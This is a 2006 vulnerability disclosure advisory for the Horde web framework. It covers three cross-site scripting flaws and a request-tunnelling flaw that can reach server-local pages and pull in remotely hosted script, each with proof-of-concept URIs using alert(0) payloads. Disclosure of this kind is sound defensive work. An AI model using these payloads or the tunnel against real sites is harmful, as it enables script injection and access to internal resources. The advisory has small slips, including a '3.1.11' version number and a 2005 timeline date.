Public Advisory: Horde 3.1.1, 3.0.10 Multiple Security Issues



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PUBLISHED ON
July 05, 2006


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AFFECTED APPLICATION OR SERVICE
Horde Application Framework
http://www.horde.org

The Horde Framework is a common code-base used by Horde
applications, including libraries and a common user interface.
The best known Horde application to date is probably IMP, a webbased
IMAP/SMTP client.


AFFECTED VERSIONS
Version 3.0.0 up to and including 3.0.10
Version 3.1.0 up to and including 3.1.1
Versions below 3.0.0 have not been examined.


ISSUES
Horde is subject to multiple security vulnerabilities, ranging from
information disclosure to client side script injection (cross site
scripting) issues.

+++++ 1. Cross Site Scripting #1
Horde is subject to a client side script injection vulnerability in
the URL redirection (dereferrer) function.

By accessing the following (partial) URI on a web site running an
affected version with a web browser which is prone to this issue,
client side script code will be injected into the output generated
by the application:

[Base_URI]/services/go.php?url=http://./;URL=javascript:alert(0);

This problem is caused by insufficient validation of user supplied
input. It is only known to be exploitable on Internet Explorer 6
(tested on v6.2900.2180 including all patches on Windows XP SP2).
Internet Explorer 7 beta 3 is not affected.

+++++ 2. Cross Site Scripting #2
Horde is subject to a client side script injection vulnerability in
the help function.

By accessing the following (partial) URI on a web site running a
vulnerable version with a web browser which is prone to this issue,
client side script code will be injected into the output generated
by the application:


[Base_URI]/services/help/?show=about&module=%3Cmeta%20http-equiv=%22refresh%22%20content=%220;URL=javascript:alert(0)%3B%22%3E

This problem is caused by insufficient validation of user supplied
input. All common modern browsers providing Javascript support are
assumed to be prone to this issue.

+++++ 3. Cross Site Scripting #3
Horde is subject to a client side script injection
vulnerability in the problem reporting function.

By accessing the following (partial) URI on a web site running a
vulnerable version with a web browser which is prone to this issue,
client side script code will be injected into the output generated
by the application:


[Base_URI]/services/problem.php?name=%22%3E%3Cscript%3Ealert(0)%3B%3C/script%20x=%22

This problem is caused by insufficient validation of user supplied
input. All common modern browsers providing Javascript support are
assumed to be prone to this issue.

+++++ 4. Cross Site Scripting #4, Web tunneling behaviour
Horde is subject to a server side issue which allows to tunnel HTTP
GET requests through the application and to inject remotely hosted
web script into the output generated by the application.

This behaviour allows for accessing arbitrary locations which are
addressable using URIs starting with 'http://','https://' or
'ftp://' protocol handlers. These locations will be accessible from
within the security context of the web server running an affected
version of the application. As a result, an attacker may be able to
access remote locations s/he would not have otherwise access to,
without disclosing the real source of the request [1]. Additionally,
insufficiently access restricted local (server-side) or remote (3rd
party) locations may become available [2].

By tricking a victim into starting a tunnelling call to a previously
prepared malicious HTML file, stored in a remote location, which
contains web script which may be executed on the client side, it is
possible to extend this into a script injection issue. The injected
script would be executed by the client within the context of the
domain the vulnerable web application is hosted in. [3] All common
modern browsers providing Javascript support are assumed to be prone
to this issue.

By accessing the following (partial) URIs on a web site running a
vulnerable version with a web browser, the behaviours described
above may be triggered:

[1]
[Base_URI]/horde/services/go.php?untrusted=1&url=http://moritz-naumann.com/
[2]
[Base_URI]/horde/services/go.php?untrusted=1&url=http://localhost/server-status
[3]
[Base_URI]/horde/services/go.php?untrusted=1&url=http://moritz-naumann.com/logger/xss.html


BACKGROUND
Cross Site Scripting (XSS):
Cross Site Scripting, also known as XSS or CSS, describes
the injection of malicious content into output produced
by a web application. A common attack vector is the
inclusion of arbitrary client side script code into the
applications' output. Failure to completely sanitize user
input from malicious content can cause a web application
to be vulnerable to Cross Site Scripting.

http://www.owasp.org/index.php/Cross_Site_Scripting
http://en.wikipedia.org/wiki/XSS
http://www.cgisecurity.net/articles/xss-faq.shtml


WORKAROUNDS
Issues 1-3:
Client: Disable Javascript.
Server: Prevent access to vulnerable file(s).
Issues 1-3:
Client: Use application as intended only.
Server: Prevent access to vulnerable file(s).


SOLUTIONS
The Horde project has released versions 3.1.2 and 3.1.11 today.
These are supposed to fix all of the above issues. The updated
packages are available at http://horde.org/


TIMELINE
Jun 06, 2006 Issues 1-4: Discovery, code maintainer notification
Jun 06, 2006 Issues 1-4: Code maintainer acknowledgement
Jul 05, 2006 Issues 1-4: Code maintainer provides fix publicly
Jul 05, 2005 Issues 1-4: Public advisory


NOTES
This is not related to CVE-2006-2195.


REFERENCES
Developers' release announcements
v3.1.2: http://lists.horde.org/archives/announce/2006/000288.html
v3.0.11: http://lists.horde.org/archives/announce/2006/000287.html


ADDITIONAL CREDIT
N/A


LICENSE
Creative Commons Attribution-ShareAlike License Germany
http://creativecommons.org/licenses/by-sa/2.0/de/

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